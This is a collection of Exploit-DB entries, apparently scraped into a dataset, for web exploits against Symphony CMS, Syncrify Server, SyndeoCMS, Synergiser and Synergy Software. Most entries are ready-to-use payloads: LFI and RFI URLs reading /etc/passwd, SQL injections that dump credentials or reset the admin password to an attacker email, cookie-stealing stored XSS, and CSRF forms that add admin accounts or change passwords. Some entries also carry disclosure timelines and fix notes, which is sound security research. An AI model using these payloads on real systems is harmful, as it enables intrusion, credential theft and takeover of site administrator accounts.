deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12809
Description: Symphony CMS - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-05-30
Author: AntiSecurity

Exploit:
=============================================================================================================


  [o] Symphony CMS Local File Inclusion Vulnerability

       Software : Symphony CMS version 2.0.7
       Download : http://symphony-cms.com/download/releases/current/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?mode=[LFI]


  [o] PoC

       http://localhost/index.php?mode=../../../../../../../../../../../../../../../etc/passwd%00


=============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella Genex
       H312Y }^-^{ matthews wishnusakti xrootboy
       k1tk4t str0ke kaka11 inc0mp13te pizzyroot
       ArRay bjork xmazinha veter f1
       all people in #evilc0de [at] irc.byroe.net


=============================================================================================================


  [o] May 30 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #17218
Description: Symphony CMS 2.1.2 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-04-27
Author: Wireghoul

Exploit:
--------------------------------------------------------------------------------------------
20110424 - Justanotherhacker.com : Symphony-cms blind sql injection
JAHx111 - http://www.justanotherhacker.com/advisories/JAHx111.txt
--------------------------------------------------------------------------------------------

Symphony is a web-based content management system (CMS) that enables users to create and 
manage websites and web applications of all shapes and sizes?from the simplest of blogs to 
bustling news sites and feature-packed social networks.
[ Taken from: http://symphony-cms.com/ ]


--- Vulnerability description ---
The symphony cms login page does not sufficiently filter user supplied variables used in a 
SQL statement, resulting in a blind sql injection vulnerability. The vulnerable code is located at:
content.login.php-270-$sql = "SELECT t1.`id`, t1.`email`, t1.`first_name`
content.login.php-271-            FROM `tbl_authors` as t1, `tbl_forgotpass` as t2
content.login.php:272:                WHERE t2.`token` = '".$_REQUEST['token']."' AND t1.`id` = t2.`author_id`
content.login.php-273-                LIMIT 1";
content.login.php-274-
content.login.php-275-$author = Symphony::Database()->fetchRow(0, $sql);

Discovered by: Eldar "Wireghoul" Marcussen
Type: Blind sql injection
Severity: Moderate
Release: Full
CVE: None
Vendor: Symphony-cms
Affected versions: 2.1.2 and possibly older versions

--- Proof of Concept ---
The following example will reset the password of the admin user which was created during installation 
(id 1) and send an email to 'evil@email.com' with the username and new password. 
http://example.com/symphony/login/?action=resetpass&token=-1'+union+select+id,'evil@email.com',username+from+tbl_authors+where+id+=1+--+

We are aided by the following code:
lib/toolkit/class.mysql.php:251:if($this->_connection['tbl_prefix'] != 'tbl_'){
lib/toolkit/class.mysql.php:252:    $query = preg_replace('/tbl_(\S+?)([\s\.,]|$)/', $this->_connection['tbl_prefix'].'\\1\\2', $query);
Which turn our tbl_authors into the appropriate prefixed table name. This essentially negates the use 
of custom prefix for tables.

--- Solution ---
Upgrade to version 2.2

--- Disclosure time line ---
24-Apr-2011 - Public disclosure
Exploit-DB #48773
Description: SymphonyCMS 3.0.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-08-28
Author: SunCSR

Exploit:
# Exploit Title: SymphonyCMS 3.0.0 - Persistent Cross-Site Scripting
# Google Dork: "lepton cms"
# Date: 2020-08-28
# Exploit Author: SunCSR (Sun* Cyber Security Research)
# Vendor Homepage: https://www.getsymphony.com/
# Software Link: https://www.getsymphony.com/
# Version: 3.0.0
# Tested on: Windows
# CVE : N/A

Description:
Cross-site scripting (XSS) vulnerabilities in Symphony CMS 3.0.0 allow remote attackers to inject arbitrary web script or HTML

To Reproduce:
Steps to reproduce the behavior:

1. Login as member
2. Go to 'Articles'
3. Submit malicious content
4. Anyone (inclued admin) view article and XSS excuted

Expected behavior
When admin or user view content, a pop-up will be displayed

Affected componets:
events\event.publish_article.php in Symphony CMS 3.0.0 allows XSS via fields['body'] to appendSubheading

POC:

POST /symphonycms/symphony/publish/articles/new/ HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,vi-VN;q=0.8,vi;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://target/symphonycms/symphony/publish/articles/new/
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]626544932
Content-Length: 1111
Origin: http://target
Connection: close
Cookie: PHPSESSID=b21qllug0g7ft80ueo3bn0bgcd;
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED]626544932
Content-Disposition: form-data; name="xsrf"

vr-i2mWs18DPjVmZ8z2nB-Gb3hdyrb
----------------------------[PII_REDACTED][PII_REDACTED]626544932
Content-Disposition: form-data; name="MAX_FILE_SIZE"

5242880
----------------------------[PII_REDACTED][PII_REDACTED]626544932
Content-Disposition: form-data; name="fields[title]"

TEST XSS
----------------------------[PII_REDACTED][PII_REDACTED]626544932
Content-Disposition: form-data; name="fields[body]"

<script>alert('XSS')</script>
----------------------------[PII_REDACTED][PII_REDACTED]626544932
Content-Disposition: form-data; name="fields[date]"

08/28/2020 5:55 am
----------------------------[PII_REDACTED][PII_REDACTED]626544932
Content-Disposition: form-data; name="fields[categories][]"

2
----------------------------[PII_REDACTED][PII_REDACTED]626544932
Content-Disposition: form-data; name="fields[publish]"

yes
----------------------------[PII_REDACTED][PII_REDACTED]626544932
Content-Disposition: form-data; name="action[save]"

Create Entry
----------------------------[PII_REDACTED][PII_REDACTED]626544932--

Desktop (please complete the following information):
OS: Windows 10
Browser: Firefox or Chrome
Application: XAMPP, Burpsuite

Additional context
Tested on: 9.03.50 verison
POC at: https://vimeo.com/405740251
Exploit-DB #36950
Description: Syncrify Server 3.6 Build 833 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2015-05-08
Author: Marlow Tannhauser

Exploit:
# Exploit Title: Multiple vulnerabilities in Syncrify Server 3.6 Build 833 (CSRF/Stored XSS)
# Date: 07-05-2015
# Exploit Author: Marlow Tannhauser
# Contact: marlowtannhauser@gmail.com
# Vendor Homepage: http://www.synametrics.com
# Software Link: http://web.synametrics.com/SyncrifyDownload.htm
# Version: 3.6 Build 833. Earlier versions may also be affected.
# CVE: 2015-3140
# Category: Web apps


# DISCLOSURE TIMELINE #
08/02/2015: Initial disclosure to vendor and CERT
09/02/2015: Acknowledgment of vulnerabilities from vendor
11/02/2015: Disclosure deadline of 01/03/2015 agreed with vendor
19/02/2015: Disclosure deadline renegotiated to 01/04/2015 at vendor's request
09/04/2015: Disclosure deadline renegotiated to 20/04/2015 at vendor's request
20/04/2015: Confirmation of fix from vendor
07/05/2015: Disclosure

Note that the CVE-ID is for the CSRF vulnerability only. No CVE-ID has been generated for the stored XSS vulnerabilities. The vulnerable version of the product is no longer available for download from the vendor's webpage.


# EXPLOIT DESCRIPTION #
Syncrify 3.6 Build 833 is vulnerable to CSRF attacks, which can also be combined with stored XSS attacks (authenticated administrators only). The JSESSIONID created when a user logs on to the system is persistent and does not change across requests.


# POC 1 #
The following PoC uses the CSRF vulnerability to change the SMTP settings in the application, and combines it with two of the stored XSS vulnerabilities.

<html>
<img src="http://192.168.0.8:5800/app?adminEmail=%3Cscript%3Ealert%28VICTIM%29%3C%2Fscript%3E&smtpServer=127.0.0.1&smtpPort=25&smtpUser=%3Cscript%3Ealert%284%29%3C%2Fscript%3E&smtp[CREDENTIAL_REDACTED]=None&proceedButton=Save&operation=config&st=saveSmtp" alt="" width="1" height="1">
</html>


# POC 2 #
The following PoC uses the CSRF vulnerability to change the administrator password.

<html>
<img src="http://192.168.0.8:5800/app?admin[CREDENTIAL_REDACTED]=true&blockIP=false&alertManualPath=false&proceedButton=Save&operation=config&st=saveSecurity" width="0" height="0" border="0">
</html>


# STORED XSS VULNERABILITIES #
Stored XSS vulnerabilities are present in the following fields:

Manage Users > Add New User > User's Full Name [displayed in Reports > Backup report by user]
Example URL: http://192.168.0.8:5800/app?fullName=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&login=user%40user.com&[CREDENTIAL_REDACTED]=0&diskQuota=-1&selectedPath=%2Fhome%2F&operation=manageUsers&st=addUser#

Configuration > Email Configuration > Administrator's Email [displayed in Troubleshoot and Reports pages]
Example URL: http://192.168.0.8:5800/app?adminEmail=%3Cscript%3Ealert%28VICTIM%29%3C%2Fscript%3E&smtpServer=127.0.0.1&smtpPort=25&smtpUser=%3Cscript%3Ealert%284%29%3C%2Fscript%3E&smtp[CREDENTIAL_REDACTED]=None&proceedButton=Save&operation=config&st=saveSmtp


# MITIGATION #
Upgrade to the latest build of Syncrify Server, available from the link shown.
Exploit-DB #4607
Description: SyndeoCMS 2.5.01 - 'cmsdir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-11-04
Author: mdx

Exploit:
--------------------------------------------
=                                          =
=            Mdx  (c) 2007                 =
=        http://www.by-mdx.com             =
--------------------------------------------
=                                          =
=syndeoCMS 2.5.01 [cmsdir] Remote File Include   
=                                          =
============================================
=
= Download:
=
= http://sourceforge.net/projects/syndeocms
=
============================================
=
= Exploit:
= 
= http://site.com/[path]/starnet/themes/c-sky/main.inc.php?cmsdir=shell?
=
============================================
 Thanks my Friend :
=============================================================     
            
              crazy coder  n0th!ng

 Xoron,Deltaforce,PASHA,Nizam-Ã¼l MÃ¼lk, Prime Suspect,Kralbay
CyberEx,mith,n0th!ng,CwPeker,Cyber_cobra,CyberWar,Musty
@zr@il-,DaRKToLe,ultrAslan_CW,quantumhalil,schevko 
nirvana_jr,mertcesur,reddevil19,hocam,muhammed4554
WarriorHacker,cepuzmani_53,kalaba,Dr.X,TR4KONYA,X-X-X,daimon
-------------------------------------------------------------

# milw0rm.com [2007-11-04]
Exploit-DB #5779
Description: SyndeoCMS 2.6.0 - Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-10
Author: CWH Underground

Exploit:
===========================================================
 SyndeoCMS 2.6.0 (LFI/XSS) Multiple Remote Vulnerabilities
===========================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE : 10 June 2008
SITE : www.citec.us


#####################################################
 APPLICATION : SyndeoCMS
 VERSION     : 2.6.0 (Lastest Version)
 DOWNLOAD    : http://downloads.sourceforge.net/syndeocms
#####################################################

---LFI---

#################################################################
Vulnerable Code:
if (IsSet ($_GET['template']))
{
	$template_path = ...;
	$filename = $template_path . "/" . $_GET['template'];
	if (file_exists($filename))
	{
		$handle = fopen($filename, "r");
		$content = fread($handle, filesize($filename));
		fclose($handle);
	}
}
#################################################################

Vulnerable File: 

[+] starnet/editors/fckeditor/studenteditor.php
[+] starnet/modules/sn_news/edit_content.php
[+] starnet/modules/sn_newsletter/edit_content.php

Exploit:

[+] http://[target]/[path]/starnet/editors/fckeditor/studenteditor.php?template=../../../../../../../../../etc/passwd
[+] http://[target]/[path]/starnet/index.php?option=modulemanager&module=16&modoption=edit_article&cat_id=1&article_id=0&template=../../../../../../../../../../../../../etc/passwd
[+] http://[target]/[path]/starnet/index.php?option=modulemanager&module=17&modoption=edit_newsletter&newsletter_id=1&edition=1&template=../../../../../../../../../../../../../etc/passwd

Note:      - the first link requires pupil session (normal student session)
           - the second link and the third link require admin session


---XSS---

[+] index.php

Example:

http://[target]/[path]/index.php?page=1&section="><script>alert(111);</script>

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

update:
see: http://www.syndeocms.org/forum/index.php?topic=1788.0

# milw0rm.com [2008-06-10]
Exploit-DB #14887
Description: SyndeoCMS 2.8.02 - Multiple Vulnerabilities (1)
Type: webapps
Platform: php
Date: 2010-09-04
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <  Day 4 (0day)
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

'''
 
Title  : syndeocms 2.8.02 Multiple Vulnerabilities
Affected Version : syndeocms <= 2.8.02 
Vendor  Site   : http://www.syndeocms.org/
 
Discovery : abysssec.com
  
 
Description :
 
This CMS have many critical vulnerability that we refere to some of those here:
 
 
Vulnerabilites :

1. CSRF - Add Admin Account:

<html>
<body>
<form onsubmit="return checkinput(this);" action="index.php?option=configuration&suboption=users&modoption=save_user&user_id=0" name="form" method="POST">
<input class="textfield" type="hidden"  name="fullname" value="csrf"/>
<input class="textfield" type="hidden"  name="username" value="csrf_admin"/>
<input class="textfield" type="hidden"  name="password" value="admin123"/>
<input class="textfield" type="hidden"  name="email" value="csrf@admin.com"/>
<select name="editor">
<option value="1" selected="">FCKEditor</option>
<option value="2">Plain text Editor</option>
</select>
<input type="checkbox" checked="" name="initial" value="1"/>
<input class="textfield" type="hidden" value=""  name="sections"/>
<input type="radio" name="access_1" value="1"/>
<input type="radio" name="access_2" value="1"/>
.
.
.
<input type="radio" name="access_15" value="1"/>
<input type="radio" name="m_access[0]" value="1"/>
.
.
.
<input type="radio" name="m_access[21]" value="1"/>
<input class="savebutton" type="submit" name="savebutton" value="   Save"/>
</form>
</body>
</html>
-------------------------------------
2. LFI (Local File Inclusion):

http://localhost/starnet/index.php?option=configuration&suboption=configuration&modoption=edit_css&theme=..%2Findex.php%00

in starnet\core\con_configuration.inc.php file, As you may noticed theme parameter is checked for "../" and could be bypass by with "..%2F":
line 61-73:
switch ($modoption) // start of switch
{
	case save_css :
	
		if (IsSet ($_POST['content']))
		{
			$content = $_POST['content'];
		}
		
		if (strpos($theme, "../") === FALSE) //check if someone is trying to fool us.
		{
			$filename = "themes/$theme/style.css";
-------------------------------------
3. xss:
in starnet\core\con_alerts.inc.php file "email" parameter when "modoption" is "save_alert":
http://localhost/starnet/index.php?option=configuration&suboption=alerts&modoption=edit_alert&alert=2

4. stored xss:
in starnet\core\con_alerts.inc.php file "name" parameter when "modoption" is "save_alert":
http://localhost/starnet/index.php?option=configuration&suboption=alerts&modoption=edit_alert
------------------------------
Exploit-DB #18686
Description: SyndeoCMS 3.0.01 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-03-30
Author: Ivano Binetti

Exploit:
+---------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title    : SyndeoCMS <= 3.0.01 Persistent XSS
# Date             : 29-03-2012
# Author           : Ivano Binetti (http://ivanobinetti.com)
# Vendor site      : http://www.syndeocms.org/
# Software link    : http://sourceforge.net/projects/syndeocms
# Version          : 3.0.01 and lower 
# Tested on        : Debian Squeeze (6.0) 
# CVE              : CVE-2012-1979
# Original Advisory: http://www.webapp-security.com/2012/03/syndeocms/
+---------------------------------------------------------------------------------------------------------------------------------+
Summary
1)Introduction
2)Description
3)Exploit
+---------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
SyndeoCMS is a "Content Management System (CMS) for primary schools, which helps you manage and maintain your website. It can also
be a very usefull CMS for small companies or non profit organizations".

2)Description
SyndeoCMS 3.0.01 (and lower) is prone to a persistent XSS vulnerability due to an improper input sanitization of 
"email" parameter, passed to server side logic (path: "starnet/index.php") via http POST method. 
Exploiting this vulnerability an authenticated user - which is able to change his profile settings - could insert arbitrary 
code in "Site email" field that will be executed when another admin or user clicks on that user'profile.

3)Exploit 
Insert the following code in "Email address" field under  
"starnet/index.php?option=configuration&suboption=users&modoption=edit_user&user_id=<user_id_number>":
email@email.com"><script>alert(document.cookie)</script>

+---------------------------------------------------------------------------------------------------------------------------------+
Exploit-DB #30731
Description: Synergiser 1.2 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-11-01
Author: KiNgOfThEwOrLd

Exploit:
source: https://www.securityfocus.com/bid/26289/info

Synergiser is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

Synergiser 1.2 RC1 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/index.php?page=../../../../../../../../../../../etc/passwd
Exploit-DB #4595
Description: Synergiser 1.2 RC1 - Local File Inclusion / Full Path Disclosure
Type: webapps
Platform: php
Date: 2007-11-02
Author: KiNgOfThEwOrLd

Exploit:
---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org 	     Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

Synergiser <= 1.2 RC1 Local File Inclusion & Full path disclosure
Download: http://sourceforge.net/project/downloading.php?
group_id=169910&use_mirror=kent&filename=synergiser-1.13_final.tar.gz&53405269
---------------------------------------------------------------

#By KiNgOfThEwOrLd

---------------------------------------------------------------
Local File Inclusion PoC:

Synergiser cms allows to include a file by the get variabile "page". We can't 
include a remote file, coz there is a filter..but we can include, by a 
directory traversal, some important files...for example:

http://[target]/[synergiser_path]/index.php?page=../../../etc/passwd
---------------------------------------------------------------
Full Path Disclosure PoC:

So, we have to know the script path if we wanna browse the server...we can get 
it generating a full path disclosure, like this:

http://[target]/[synergiser_path]/index.php?page=../index.php

We know that a function cannot be declared two times. So, let's read the 
"index.php" code, and we will found:

include('application_top.php');

This row includes "application_top.php". In that page, is declared a php 
function: assign_rand_value(); So, including index.php in index.php, we will 
reinclude application_top.php, and we will redeclare the same function. We 
can't do it! So the server will answer:

Fatal error: Cannot redeclare assign_rand_value() (previously declared in 
[script_path]/application_top.php:9) in [script_path]/application_top.php on 
line 124

And we got the script path! :P
---------------------------------------------------------------

# milw0rm.com [2007-11-02]
Exploit-DB #35976
Description: Synergy Software - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2011-07-21
Author: Ehsan_Hp200

Exploit:
source: https://www.securityfocus.com/bid/48835/info

Synergy Software is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/courses.php?id=-1 union select null,user_loginname_vc,null,null,null,user_pass_vc,null,null,null,null from user_m